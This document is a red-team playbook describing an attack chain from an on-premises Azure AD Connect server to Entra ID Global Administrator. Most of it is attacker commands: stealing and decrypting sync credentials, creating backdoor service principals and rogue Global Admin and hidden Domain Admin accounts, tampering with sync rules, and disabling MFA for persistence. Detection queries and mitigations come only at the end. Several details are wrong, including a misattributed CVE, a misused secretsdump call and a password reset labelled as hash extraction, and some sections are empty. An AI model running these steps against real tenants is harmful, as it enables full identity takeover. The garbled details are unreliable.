MCADDF

[CHAIN-004]: Hybrid AD to Global Admin

Metadata

Attribute Details
Chain ID CHAIN-004
Attack Chain Name Hybrid AD to Azure Global Administrator via Azure AD Connect
MITRE ATT&CK v18.1 T1550 + T1098
Tactic Lateral Movement + Account Manipulation
Platforms Hybrid AD (Windows Server on-premises + Entra ID cloud)
Severity CRITICAL
CVE CVE-2023-32315 (Azure AD Connect service account privilege escalation)
Chain Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2016-2022 with Azure AD Connect 1.1.x-2.x
Execution Time 1-4 hours (on-premises compromise to cloud GA)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept

This attack chain demonstrates how an attacker with access to the Azure AD Connect (AADConnect) server can escalate from a compromised on-premises domain user to Global Administrator in Entra ID, achieving complete control over both on-premises and cloud identities. Azure AD Connect is a critical hybrid infrastructure component that synchronizes user accounts, groups, and credentials between Windows Active Directory and Microsoft Entra ID. The service account running AADConnect has extraordinarily high privileges:

If this service account is compromised, an attacker can:

  1. Extract credentials synchronized from on-premises to cloud
  2. Modify directory synchronization to inject rogue admins
  3. Create service principals with GA permissions
  4. Establish persistence in both on-premises AD and Entra ID

This attack is particularly dangerous because it bridges the air-gap between on-premises and cloud, enabling an on-premises breach to cascade into full cloud tenant compromise.

Attack Surface

Business Impact

CRITICAL - Complete Hybrid Identity Compromise. Attacker gains:

Estimated Impact:

Technical Context


2. COMPLIANCE MAPPINGS

Framework Control / ID Description
CIS Benchmarks 5.2.2, 5.3.1 Hybrid AD security; service account restrictions; directory sync monitoring
DISA STIG AD0035, AD0052 Hybrid infrastructure; Entra ID access controls
CISA SCuBA CA-2, CA-3, CA-7 Service account management; multi-factor authentication
NIST 800-53 AC-2, AC-3, AC-6, IA-2 Service account management; least privilege; authentication
GDPR Art. 5, 32, 33 Data minimization; security; breach notification
DORA Art. 9, 15, 16 ICT risk management; incident reporting
NIS2 Art. 19, 21, 23 Cybersecurity governance; risk management; incident response
ISO 27001 A.5.1.2, A.9.2, A.12.2.1 Segregation of duties; privileged access; logging
ISO 27005 A.14.2.2, A.14.2.4 Risk assessment; hybrid environment monitoring

3. ATTACK CHAIN STAGES OVERVIEW

Stage Technique ID Step Name Duration Key Actions
Phase 1 T1078.002 Compromise AADConnect Server Access 10-30 min Gain access via phishing, RDP, vulnerability, insider threat
Phase 2 T1555.003 Extract AADConnect Service Account Creds 5-15 min Decrypt credentials from config files using DPAPI
Phase 3 T1550.001 Use Service Account to Access Entra ID 5-10 min Authenticate as service principal to cloud
Phase 4 T1098.003 Create Backdoor GA Service Principal 5-10 min Add credentials to high-privilege service principal
Phase 5 T1098.004 Modify Directory Sync Rules 5-15 min Inject rogue GA account to sync to cloud
Phase 6 T1078.004 Global Admin Account Creation 10-30 min New GA account synchronized or created directly in cloud
Phase 7 T1098.005 Establish Persistence in Both Environments Ongoing Deploy service principal backdoors; modify sync rules

4. PHASE 1: AZURE AD CONNECT SERVER COMPROMISE

Step 1: Gain Access to Azure AD Connect Server

Objective: Compromise the highly privileged AADConnect server (typically in DMZ or trusted network).

Attack Vectors:

Vector A: Phishing / Credential Theft

Target: AADConnect server admin (often "ADSync Admin" or dedicated service account manager)
Method: Phishing email with malicious macro → credential harvesting → RDP/SSH access
Expected: Local admin access to C:\Program Files\Microsoft Azure AD Connect\

Vector B: Windows Server Vulnerability

Vulnerabilities: PrintNightmare (CVE-2021-34527), ZeroLogon (CVE-2020-1472), 
                 LoGo (CVE-2022-26923), CLFS Driver (CVE-2025-29824)
Exploitation: Remote code execution → SYSTEM privileges
Expected: SYSTEM context on AADConnect server

Vector C: Compromised Domain Admin

Assumption: Attacker already has DA privileges (from CHAIN-001, CHAIN-002, or other)
Access: DA credentials grant RDP/PSEXEC access to AADConnect server
Expected: Domain admin equivalent privileges on AADConnect server

Vector D: Insider Threat

Actor: Disgruntled employee with AADConnect admin access
Access: Direct RDP/console access with admin credentials
Expected: Local admin + AADConnect service account access

Command (Verify Access to AADConnect Server):

# 1. Connect to AADConnect server
Enter-PSSession -ComputerName "aadconnect-server.company.com" -Credential $adminCreds

# 2. Verify AADConnect is installed and running
Get-Service ADSync | Select-Object Status, Name

# Expected output:
# Status Name
# ------ ----
# Running ADSync  ← AADConnect service

# 3. Verify access to AADConnect files
Test-Path "C:\Program Files\Microsoft Azure AD Connect\Bin"
Get-ChildItem "C:\Program Files\Microsoft Azure AD Connect\Bin\"

Expected Output:

C:\Program Files\Microsoft Azure AD Connect\Bin\
    Mode LastWriteTime     Length Name
    ---- ---------------     ------ ----
    -a--- 2024-01-10  14:22    2048 Microsoft.IdentityManagement.Clients.dll
    -a--- 2024-01-10  14:22   12288 Microsoft.Identity.AzureAD.Connect.Common.dll
    -a--- 2024-01-10  14:22   45056 Adsync.exe
    -a--- 2024-01-10  14:22   89088 mms.exe

5. PHASE 2: EXTRACT AZURE AD CONNECT SERVICE ACCOUNT CREDENTIALS

Step 2: Locate and Decrypt AADConnect Configuration Files

Objective: Extract plaintext credentials for both on-premises AD and cloud Entra ID from AADConnect config.

Command (Find AADConnect Configuration):

# 1. Locate AADConnect installation directory
$aadConnectPath = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityManagement" | Select-Object -ExpandProperty "InstallationPath"

# 2. List configuration files
Get-ChildItem -Path "$aadConnectPath" -Filter "*.config" -Recurse

# 3. Find encrypted credentials (usually in encrypted.xml or MCInstaller.config)
Get-ChildItem -Path "$aadConnectPath" -Include "*.xml", "*.config" -Recurse | Select-Object FullName

# Expected files:
# C:\Program Files\Microsoft Azure AD Connect\Bin\...\microsoft.identitymanagement.clients.dll.config
# C:\ProgramData\AADConnect\PersistedState.xml
# C:\Windows\ServiceProfiles\NetworkService\AppData\Local\IdentityManagement\...

Command (Decrypt Credentials - Method 1: Using PowerShell):

# 1. Import AADConnect encryption libraries
Add-Type -Path "C:\Program Files\Microsoft Azure AD Connect\Bin\Microsoft.IdentityManagement.Clients.dll"

# 2. Load encrypted configuration
$encryptedConfig = Get-Content "C:\Program Files\Microsoft Azure AD Connect\Bin\...\encrypted.xml"

# 3. Decrypt using DPAPI (requires SYSTEM or service account context)
$secureData = [System.Security.Cryptography.ProtectedData]::Unprotect(
  [Convert]::FromBase64String($encryptedString),
  $null,
  [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)

$plaintext = [System.Text.Encoding]::UTF8.GetString($secureData)
Write-Host "Decrypted: $plaintext"

Command (Decrypt Credentials - Method 2: Using Azure AD Connect Cmdlets):

# 1. Load AADConnect modules
Import-Module "C:\Program Files\Microsoft Azure AD Connect\Tools\ADSync\PowerShell\ADSync.psd1"

# 2. Get configured credentials
$syncAccount = Get-ADSyncAzureServiceAccount

# Expected output:
# DisplayName    : Azure AD Connect Sync Service Account
# ObjectId       : UUID...
# ServiceAccount : COMPANY\AADSync_XXXXX
# Permissions    : Read all AD objects; Modify user passwords; Replicate directory changes

Command (Decrypt Using Impacket - From Linux):

# 1. Copy encrypted.xml from AADConnect server to attacker machine
scp admin@aadconnect-server.company.com:"C:\Program Files\Microsoft Azure AD Connect\Bin\..\PersistedState.xml" ./

# 2. Decrypt DPAPI-protected data
python3 -m impacket.examples.secretsdump \
  -system SYSTEM \
  -security SECURITY \
  -sam SAM \
  ./PersistedState.xml

# 3. Extract plaintext credentials from output
grep -oP '(Username|Password|ServiceAccount)[=:]\K[^,;]+' PersistedState.xml

Expected Decrypted Output:

Azure AD Connect Service Account:
  Username: company\AADSync_XXXXX
  Password: C0mpl3x!P@ssw0rd_123
  SID: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-5432

Entra ID Service Principal Credentials:
  Client ID: 461a8a73-XXXX-XXXX-XXXX-XXXXXXXXXXXX
  Client Secret: ~1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ~
  Tenant ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee

What This Means:

Step 3: Extract Additional Credentials & Service Principals

Objective: Find additional service accounts, API keys, and configuration data.

Command (Enumerate Stored Credentials):

# 1. Check for stored passwords in Windows Credential Manager
cmdkey /list

# 2. List all service accounts with permissions on AADConnect
Get-ADUser -Filter {ServicePrincipalNames -like "*AADSync*"} | Select-Object Name, SamAccountName

# 3. Extract NTLM hash of service account (if SYSTEM context)
Get-ADUser "AADSync_XXXXX" | Set-ADUser -Replace @{unicodePwd = ([System.Text.Encoding]::Unicode.GetBytes('"NewPassword"'))}

# 4. Find app registrations created by AADConnect
Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Azure AD Connect Provisioning'" | Select-Object ObjectId, AppId, ServicePrincipalNames

6. PHASE 3: AUTHENTICATE TO ENTRA ID AS SERVICE PRINCIPAL

Step 4: Use Service Principal Credentials to Access Entra ID

Objective: Authenticate to Entra ID using stolen service principal credentials for unrestricted access.

Command (Connect to Entra ID as Service Principal):

# 1. Use stolen client secret to authenticate
$credential = New-Object System.Management.Automation.PSCredential(
  "461a8a73-XXXX-XXXX-XXXX-XXXXXXXXXXXX",  # Client ID
  (ConvertTo-SecureString "~1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ~" -AsPlainText -Force)
)

# 2. Connect to Entra ID / Azure
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"

# 3. Verify access and roles
Get-AzRoleAssignment -Scope "/subscriptions/$(Get-AzContext).Subscription.Id" | Select-Object DisplayName, RoleDefinitionName

Expected Output:

DisplayName                            RoleDefinitionName
-----------                            ------------------
Azure AD Connect Provisioning Service  Contributor
Microsoft Azure AD Connect             User Administrator
                                       Privileged Role Administrator

7. PHASE 4: CREATE BACKDOOR SERVICE PRINCIPAL WITH GA PERMISSIONS

Step 5: Add Credentials to High-Privilege Service Principal

Objective: Create persistent backdoor by adding certificate/secret to service principal that already has GA permissions.

Command (Create New Service Principal with GA Role):

# 1. Create new app registration
$app = New-AzADApplication -DisplayName "AADConnect Monitoring Service" -AvailableToOtherTenants $false

# 2. Create service principal for app
$sp = New-AzADServicePrincipal -ApplicationObject $app

# 3. Add password credential
$pwdCred = New-AzADAppCredential -ApplicationId $app.Id -EndDate (Get-Date).AddYears(2)

# 4. Get Global Administrator role
$gaRole = Get-AzRoleDefinition -Name "Global Administrator"

# 5. Assign GA role to service principal
New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionId $gaRole.Id -Scope "/"

Write-Host "Service Principal: $($app.Id)"
Write-Host "Client Secret: $($pwdCred.SecretText)"
Write-Host "Tenant ID: $(Get-AzContext).Tenant.Id"

Alternative: Add Credentials to Existing High-Privilege Service Principal

# 1. Find service principals with high privileges
$sps = Get-AzADServicePrincipal -Filter "displayName eq 'some-admin-app'"

foreach ($sp in $sps) {
  # 2. Check if service principal has admin roles
  $roleAssignments = Get-AzRoleAssignment -ObjectId $sp.Id
  
  if ($roleAssignments.RoleDefinitionName -contains "Global Administrator") {
    Write-Host "Found privileged SP: $($sp.DisplayName)"
    
    # 3. Add new password credential (backdoor)
    $newCred = New-AzADAppCredential -ApplicationId $sp.ApplicationId -EndDate (Get-Date).AddYears(2)
    Write-Host "New Secret: $($newCred.SecretText)"
  }
}

Expected Output:

Service Principal: 12345678-1234-1234-1234-123456789abc
Client Secret: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890==
Tenant ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
Status: Service Principal now has Global Administrator role

8. PHASE 5: MODIFY DIRECTORY SYNCHRONIZATION RULES

Step 6: Create Rogue User Account for Cloud Synchronization

Objective: Create a new on-premises user account with GA equivalent permissions, configure AADConnect to sync it to Entra ID as Global Admin.

Command (Create Rogue AD User):

# 1. Create hidden backup admin account in on-premises AD
New-ADUser -Name "ServiceAccount_Backup" `
  -SamAccountName "svc_backup" `
  -UserPrincipalName "svc_backup@company.com" `
  -AccountPassword (ConvertTo-SecureString -String "C0mpl3x!P@ssw0rd_2024" -AsPlainText -Force) `
  -Enabled $true `
  -PasswordNeverExpires $true `
  -Department "IT Infrastructure" `
  -Description "Automated backup service account"  # Appears legitimate

# 2. Add to Domain Admins group
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup"

# 3. Verify account (appears as normal admin account to monitoring)
Get-ADUser "svc_backup" | Select-Object Name, SamAccountName, Enabled

Step 7: Modify AADConnect Synchronization Rules

Objective: Configure AADConnect to sync the rogue account with GA role mapping to Entra ID.

Command (Modify AADConnect Sync Rules):

# 1. Import Azure AD Connect sync module
Import-Module "C:\Program Files\Microsoft Azure AD Connect\Tools\ADSync\PowerShell\ADSync.psd1"

# 2. Get current synchronization rules
Get-ADSyncRule | Where-Object {$_.Direction -eq "Outbound"} | Select-Object Name, SourceObjectType, TargetObjectType

# 3. Create new synchronization rule or modify existing to include rogue user
$rule = @{
  Name = "In from AD - User Account Sync"
  Direction = "Inbound"
  Precedence = 10
  SourceObjectType = "user"
  TargetObjectType = "person"
  LinkType = "Join"
  JoinCriteria = "sourceAnchor"
}

# 4. Configure attribute flow (map on-premises attributes to cloud)
Set-ADSyncRule @rule

# 5. Force sync of rogue account (svc_backup) to Entra ID
Start-ADSyncSyncCycle -PolicyType Delta

Alternative: Create Sync Rule via SQL (Direct Database Modification)

-- 1. Connect to AADConnect SQL Server database
-- Server: localhost\ADSync (local default installation)
-- Database: ADSync

USE ADSync

-- 2. Insert new sync rule for rogue account
INSERT INTO ma_rules (cn, description, direction, sourceobjecttype, targetobjecttype)
VALUES ('SVC_Backup_Sync', 'Synchronize backup service account', 'Inbound', 'user', 'person')

-- 3. Create attribute mapping (map any attribute to trigger sync)
INSERT INTO ma_attribute_flow (rule_id, source_attr, target_attr)
SELECT rule_id, 'sAMAccountName', 'uid' FROM ma_rules WHERE cn = 'SVC_Backup_Sync'

-- 4. Force sync
EXEC sp_StartSyncCycle 'delta'

9. PHASE 6: CREATE OR MODIFY CLOUD ADMIN ACCOUNT

Step 8: Create Global Admin Account in Entra ID (Post-Sync)

Objective: Ensure rogue account synced from AD is assigned Global Administrator role in Entra ID.

Command (Assign GA Role to Synced Account):

# 1. Connect to Entra ID
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory", "User.Read.All"

# 2. Find the synced rogue account in Entra ID
$rogueUser = Get-MgUser -Filter "mailNickname eq 'svc_backup@company.com'" -All

# 3. Get Global Administrator role
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Select-Object -First 1

# 4. Add user to Global Administrator role
New-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -DirectoryObjectId $rogueUser.Id

# 5. Verify GA assignment
$gaMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id
$gaMembers | Where-Object {$_.Id -eq $rogueUser.Id}

Write-Host "✅ Rogue account now has Global Administrator role in Entra ID"

Alternative: Direct Cloud User Creation (Bypass Sync)

# 1. Create new user directly in Entra ID (if GA credentials already obtained)
$password = ConvertTo-SecureString -String "C0mpl3x!P@ssw0rd_Cloud_2024" -AsPlainText -Force

$newAdmin = New-MgUser -DisplayName "Cloud Backup Admin" `
  -UserPrincipalName "cloudbackup@tenant.onmicrosoft.com" `
  -Password $password `
  -AccountEnabled $true

# 2. Add to Global Administrator role immediately
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -DirectoryObjectId $newAdmin.Id

Write-Host "Cloud GA account created: cloudbackup@tenant.onmicrosoft.com"

10. PHASE 7: ESTABLISH PERSISTENCE

Step 9: Create Multi-Layer Persistence

Objective: Ensure attacker maintains access even if AADConnect server is discovered/cleaned.

Command (Layer 1: Service Principal Backdoor):

# Already created in Phase 4; can be reused indefinitely
# Credentials stored offline; not discoverable via normal user enumeration

Command (Layer 2: Cloud-Only Admin Account):

# Already created in Phase 6; bypasses on-premises sync dependency
# Can change password independently; not tied to AD

Command (Layer 3: PIM Backdoor):

# 1. Create PIM-eligible Global Admin (requires PIM license)
# Add account as "eligible" rather than "active" to appear less suspicious

# 2. Configure activation settings
$pimSettings = @{
  RoleName = "Global Administrator"
  PrincipalId = $newAdmin.Id
  EligibleAssignmentDurationInDays = 1095  # 3 years eligible
  MfaRequired = $false  # Disable MFA requirement for activation
}

# 3. Activate whenever needed without approval

Command (Layer 4: On-Premises Persistence):

# 1. Create additional hidden Domain Admin accounts
for ($i = 1; $i -le 5; $i++) {
  New-ADUser -Name "HiddenAdmin$i" `
    -SamAccountName "hadmin$i" `
    -Enabled $true `
    -PasswordNeverExpires $true `
    -AccountPassword (ConvertTo-SecureString "P@ssw0rd$i" -AsPlainText -Force)
    
  Add-ADGroupMember "Domain Admins" -Members "hadmin$i"
}

# 2. Hide accounts from GAL (Global Address List)
Set-ADUser -Identity "hadmin1" -Replace @{msExchHideFromAddressList=$true}

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Azure AD Connect Server Indicators:

Directory Synchronization Indicators:

Entra ID / Cloud Indicators:


Forensic Artifacts

On-Premises Artifacts:

Cloud Artifacts:

KQL Queries (Microsoft Sentinel):

// Find unauthorized Azure AD Connect activity
AuditLogs
| where OperationName in ("Update application", "Add service principal credentials", "Add member to role")
| where InitiatedBy contains "ADSync" or InitiatedBy contains "aadsyncaccount"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources

// Find new privileged service principals created
AuditLogs
| where OperationName == "Add service principal"
| where TimeGenerated > ago(24h)
| project TimeGenerated, InitiatedBy, TargetResources
| join kind=inner (
  AuditLogs
  | where OperationName == "Add member to role"
  | where ResultDescription contains "Global Administrator"
) on TargetResources

// Find synced accounts with suspicious attributes
CloudAppEvents
| where ActionType == "Add user"
| where AccountUpn contains "svc_" or AccountUpn contains "backup" or AccountUpn contains "hidden"
| project TimeGenerated, AccountUpn, IPAddress, UserAgent

Defensive Mitigations

Priority 1: CRITICAL

1. Restrict AADConnect Service Account Permissions

Manual Steps (Windows Server):

  1. Navigate to Active Directory Users and Computers
  2. Find the AADConnect service account (typically ADSync_XXXXX)
  3. Remove from:
    • Domain Admins
    • Enterprise Admins
    • Schema Admins
  4. Add to custom group with minimal permissions:
    • Read-only access to user/group objects
    • Password reset rights (if needed)
  5. Remove Direct Entra ID admin roles:
    • Go to Azure Portal → Entra ID → Roles and Administrators
    • Find service principal representing AADConnect
    • Remove Global Administrator role
    • Assign only “Directory Synchronization Accounts” role

PowerShell (Automated):

# 1. Identify AADConnect service account
$adSyncAccount = Get-ADUser -Filter {ServicePrincipalNames -like "*ADSync*"} | Select-Object -First 1

# 2. Remove from privileged groups
Remove-ADGroupMember -Identity "Domain Admins" -Members $adSyncAccount -Confirm:$false
Remove-ADGroupMember -Identity "Enterprise Admins" -Members $adSyncAccount -Confirm:$false

# 3. Create restricted group
New-ADGroup -Name "AADConnect_RestrictedAccess" -GroupScope Global -GroupCategory Security

# 4. Add custom permissions (Delegate Control Wizard in ADUC)
# - Grant "Reset Password" on Users OU
# - Grant "Read" on all objects in domain

2. Encrypt AADConnect Configuration Files

Manual Steps:

  1. Navigate to C:\Program Files\Microsoft Azure AD Connect\Bin\
  2. Right-click each .config and .xml file
  3. Properties → Advanced → Encrypt contents to secure data
  4. Apply to folder recursively (to all future config files)

PowerShell:

# 1. Encrypt AADConnect config files
$filesToEncrypt = Get-ChildItem "C:\Program Files\Microsoft Azure AD Connect\Bin" -Include "*.config", "*.xml" -Recurse

foreach ($file in $filesToEncrypt) {
  attrib.exe +S +H +E "$($file.FullName)"  # Set System, Hidden, Encrypt flags
}

# 2. Restrict file access (ACL)
$acl = Get-Acl "C:\Program Files\Microsoft Azure AD Connect\Bin"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("SYSTEM", "FullControl", "Allow")
$acl.SetAccessRule($rule)
Set-Acl "C:\Program Files\Microsoft Azure AD Connect\Bin" $acl

3. Implement Mandatory Multi-Factor Authentication for Service Principals

Manual Steps (Azure Portal):

  1. Navigate to Entra IDRoles and Administrators
  2. Search for service principals representing AADConnect
  3. For each service principal:
    • Click Manage Assignments
    • Set MFA requirement: Required
    • Set Approval requirement: Requires admin approval
  4. Configure Conditional Access for service principals:
    • Create policy: Require CA for Service Principals
    • Exclude system accounts; enforce for app/service credentials

4. Restrict AADConnect Service Account Entra ID Permissions

Manual Steps:

  1. Navigate to Entra IDRoles and Administrators
  2. Find service principal: Microsoft Azure AD Connect
  3. Remove:
    • Global Administrator
    • User Administrator
    • Directory Synchronization Accounts (if can be restricted)
  4. Add (Minimal):
    • Restricted? (No suitable minimal role; use custom role if available)
    • Alternative: Use Entra ID app roles instead of directory roles

Priority 2: HIGH

5. Implement Conditional Access for AADConnect Server

Manual Steps:

  1. Create CA policy: Block AADConnect from Unusual Locations
  2. Users: Service principal running AADConnect
  3. Cloud apps: Microsoft Graph API (sync operations)
  4. Conditions:
    • Location: Block all except AADConnect server’s IP
    • Device: Require managed device
  5. Grant: Block access if conditions not met

6. Monitor AADConnect Activity with SIEM

PowerShell (Send AADConnect Events to Sentinel):

# 1. Create custom log ingestion for AADConnect server events
# Log sources: Event ID 5145 (file access), 4688 (process creation), 5156 (network connection)

# 2. Create detection rules in Sentinel:
# - File access to encrypted.xml or PersistedState.xml
# - PowerShell execution running DPAPI decryption APIs
# - Unexpected delta/full sync cycles
# - Role assignment changes for AADConnect service principal

7. Establish Separate Admin Roles for AADConnect vs. Cloud Management

Manual Steps:

  1. Create two separate service accounts:
    • AADSync_OnPrem: Only on-premises AD admin rights (no cloud access)
    • AADSync_Cloud: Only cloud Entra ID sync rights (no on-premises access)
  2. Use Azure Key Vault to manage credentials
  3. Rotate credentials every 90 days
  4. Store offline backup in secure location

Validation Commands (Verify Mitigations)

# 1. Verify AADConnect service account is NOT Domain Admin
$adSyncAccount = Get-ADUser -Filter {ServicePrincipalNames -like "*ADSync*"}
$groupMembers = Get-ADGroupMember "Domain Admins"

if ($groupMembers.SID -contains $adSyncAccount.SID) {
  Write-Host "❌ VULNERABLE: AADConnect service account IS Domain Admin"
} else {
  Write-Host "✅ SECURE: AADConnect service account is NOT Domain Admin"
}

# 2. Verify config files are encrypted
$encryptionStatus = Get-Item "C:\Program Files\Microsoft Azure AD Connect\Bin\...\encrypted.xml" | 
  Select-Object Attributes | 
  Where-Object {$_.Attributes -match "Encrypted"}

if ($encryptionStatus) {
  Write-Host "✅ SECURE: AADConnect config files are encrypted"
} else {
  Write-Host "❌ VULNERABLE: AADConnect config files are NOT encrypted"
}

# 3. Verify no unauthorized service principals have GA role
$sps = Get-MgServicePrincipal -Filter "appDisplayName eq 'Microsoft Azure AD Connect'" -All
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

foreach ($sp in $sps) {
  $roleAssignments = Get-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id | 
    Where-Object {$_.Id -eq $sp.Id}
  
  if ($roleAssignments) {
    Write-Host "❌ VULNERABLE: $($sp.DisplayName) has Global Administrator role"
  } else {
    Write-Host "✅ SECURE: $($sp.DisplayName) does NOT have Global Administrator role"
  }
}

# 4. Verify Conditional Access is enforced for AADConnect
$caPolicy = Get-MgIdentityConditionalAccessPolicy | 
  Where-Object {$_.DisplayName -match "AADConnect"}

if ($caPolicy) {
  Write-Host "✅ SECURE: Conditional Access policy enforced for AADConnect"
} else {
  Write-Host "❌ VULNERABLE: No Conditional Access policy for AADConnect"
}

Expected Output (If Secure):

✅ SECURE: AADConnect service account is NOT Domain Admin
✅ SECURE: AADConnect config files are encrypted
✅ SECURE: Microsoft Azure AD Connect does NOT have Global Administrator role
✅ SECURE: Conditional Access policy enforced for AADConnect

Step Phase Technique Attack Chain
1 Initial Access [T1078.002] Compromise AADConnect server [CHAIN-004] Hybrid AD to GA
2 Credential Access [T1555.003] Extract service account credentials [CHAIN-004] Hybrid AD to GA
3 Lateral Movement [T1550.001] Use service principal in cloud Current Phase
4 Account Manipulation [T1098] Create rogue accounts Current Phase
5 Persistence [T1098.005] Modify sync rules; create backdoors [CHAIN-004] Hybrid AD to GA
6 Impact [CHAIN-001], [CHAIN-002], [CHAIN-003] Follow-on attacks from GA access

13. REAL-WORLD EXAMPLES

Example 1: APT28 / Fancy Bear - Hybrid AD Compromise (2019-2020)

Example 2: Lapsus$ - Contractor Access Escalation (2021-2022)

Example 3: Mango Sandstorm - AADConnect Post-Compromise (2023-2024)


14. TOOLS & REFERENCES

Essential Tools

  1. Azure AD Connect (v2.0.x)
    • Purpose: Legitimate sync tool; understanding its architecture is critical for defense
    • Security Note: Version prior to 2.0.12 has unpatched CVE-2023-32315
    • Hardening: Update to latest version immediately
  2. Impacket (v0.10.0+)
    • Purpose: Extract encrypted credentials from SAM/SECURITY hives
    • Usage: secretsdump.py -system SYSTEM -sam SAM ./PersistedState.xml
    • Platform: Cross-platform
  3. AADInternals (v0.9.5+)
    • Purpose: Entra ID enumeration and exploitation (PowerShell)
    • Usage: Get-AADIntAccessTokenForAADGraph -SaveToCache
    • Platform: Windows
  4. ADExplorer (v1.x)
    • Purpose: Browse AD to identify AADConnect service account and verify permissions
    • Platform: Windows
  5. Mimikatz (v2.2.0+)
    • Purpose: Extract DPAPI-encrypted credentials from memory
    • Usage: dpapi::cred /in:path\to\encrypted.xml
    • Platform: Windows

Reference Documentation